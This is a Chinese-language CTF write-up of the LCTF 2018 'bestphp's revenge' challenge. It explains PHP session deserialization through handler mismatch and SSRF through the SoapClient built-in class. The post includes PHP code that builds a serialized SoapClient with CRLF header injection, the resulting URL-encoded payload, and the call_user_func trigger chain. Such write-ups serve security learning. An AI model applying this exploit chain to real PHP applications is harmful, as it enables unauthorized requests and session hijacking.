bestphp's revenge
浏览 733 | 评论 0 | 字数 5167
硝基苯
2022年02月10日
  • 考点

    • SESSION反序列化
    • SoapClient内置类
    • call_user_func除了可以是函数、也可以为类,当成员方法不存在时,触发魔术方法
    • 一个php中有两个session_start(),优先执行第一个,第二个不再执行

    前期知识

    SESSION反序列化

    大致提几点:
    1.SESSION工作流程
    20909-sjnw9smel8k.png
    2.每次php运行结束后就会将SESSION保存进文件中,处理引擎有三种。他们将会负责处理存储解析
    54026-8nca61lpm1g.png
    3.session_start()会根据COOKIE找到SESSION文件,然后依据处理器进行解析
    4.反序列问题出在php处理器会根据|来区分键名和键值,并将键值做反序列化操作,键值读到;停止
    5.当存储时,不是php,而是另外两种,就不会出现分隔符|。而第二次读的时候,用了php,那么会将|后的当作值进行反序列化

    使用SoapClient进行SSRF

    47284-811w4na4i8k.png
    PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
    类摘要如下:

    SoapClient {
        /* 方法 */
        public __construct ( string|null $wsdl , array $options = [] )
        public __call ( string $name , array $args ) : mixed
        public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
        public __getCookies ( ) : array
        public __getFunctions ( ) : array|null
        public __getLastRequest ( ) : string|null
        public __getLastRequestHeaders ( ) : string|null
        public __getLastResponse ( ) : string|null
        public __getLastResponseHeaders ( ) : string|null
        public __getTypes ( ) : array|null
        public __setCookie ( string $name , string|null $value = null ) : void
        public __setLocation ( string $location = "" ) : string|null
        public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
        public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
    }

    可以看到,该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
    该类的构造函数如下:

    public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
    •    第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
    •    第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

    利用SoapClient,我们可以进行get或post请求,具体poc看文末链接

    注:本地测试可能出现下面报错

    需要开启php_soap扩展
    26295-kwm4bkbsqn.png

    步入正题

    index.php

    <?php
    highlight_file(__FILE__);
    $b = 'implode';
    call_user_func($_GET['f'], $_POST);
    session_start();
    if (isset($_GET['name'])) {
        $_SESSION['name'] = $_GET['name'];
    }
    var_dump($_SESSION);
    $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
    call_user_func($b, $a);
    ?>

    扫描发现flag.php

    序列化SoapClient

    05235-o3tw20p20m.png
    当ip为127.0.0.1时,会将$flag插入到session中。这里就是SSRF的点,SoapClient的目标地
    而index页面中,有输出SESSION。一个特定的COOKIE对应一个SESSION文件。我们做SSRF的时候要带一个专门的COOKIE进行访问,以此获得flag,后面再带着这个COOKIE访问index,获得SESSION

    $request = new SoapClient(null,
    array('location' => "http://127.0.0.1/flag.php",
        'user_agent' => "C6h5no2\r\nCookie: PHPSESSID=89fjasb3tkkav9k3718qokt5j5\r\n",
        'uri' => "123"));
    $payload = urlencode(serialize($request));
    var_dump($payload);
      ?>

    生成poc

    O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A55%3A%22C6h5no2%0D%0ACookie%3A+PHPSESSID%3D89fjasb3tkkav9k3718qokt5j5%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

    要触发SoapClient的__call,就得是call_user_func(array(SoapClient,xx)),(类必须被实例化后才能触发魔术方法)
    而要被实例化,就是利用了SESSION反序列化·去实现

    所以SESSION[‘name’]的值是|payload
    就是:
    |O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A55%3A%22C6h5no2%0D%0ACookie%3A+PHPSESSID%3D89fjasb3tkkav9k3718qokt5j5%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

    SESSION反序列化的触发

    第一步:写入SESSION文件
    由前期只是可知,一个php中两个session_start(),执行第一个。因为ini_set()不接受数组,所以只能用session_start()直接定义处理器(session_start里面得传数组)
    控制器可以用session_start(serialize_handler=php_binary)也可以session_start(serialize_handler=php_serialize)

    所以构造出下面的payload
    42275-drbv8wz9nl.png
    第二步:变量覆盖进行触发
    此时我们只是将恶意SESSION写入。
    当我们第二次访问时,因为控制器是默认的php,所以SoapClient被实例化,但还没有触发到__call
    因为第一个call_user_func在session反序列化之前,所以我们不能在这里触发。代码来到最后一行。$a为我们的poc+那段字符串,形成数组。
    当call_user_func用在类上时,参数是数组
    下图为php文档截图
    54413-lichap2e15.png
    可以看到,数组第一个元素是类,第二个是方法
    $b就不能是类,而$a中,第一个正好就是实例化后的SoapClient类,第二个就是未定义的方法,借此触发__call。所以要形成call_user_func(‘call_user_func’,$a)
    所以要用到变量覆盖,触发SoapClient的__call,访问flag,php
    57477-dkg8u3fhe99.png

    获取flag

    第一步中,我们用了一个cookie进行访问flag.php,经过第二步的触发,flag已经写入到第一cookie对应的SESSION中,所以我们带着那个cookie访问第一个页面即可
    67381-x5zo1j60g0h.png


    参考:
    https://xz.aliyun.com/t/6640#toc-3
    https://www.anquanke.com/post/id/238482#h3-12

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/616/
    最后修改时间:2022-02-10 22:01:24
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论已关闭
    评论列表
    暂无评论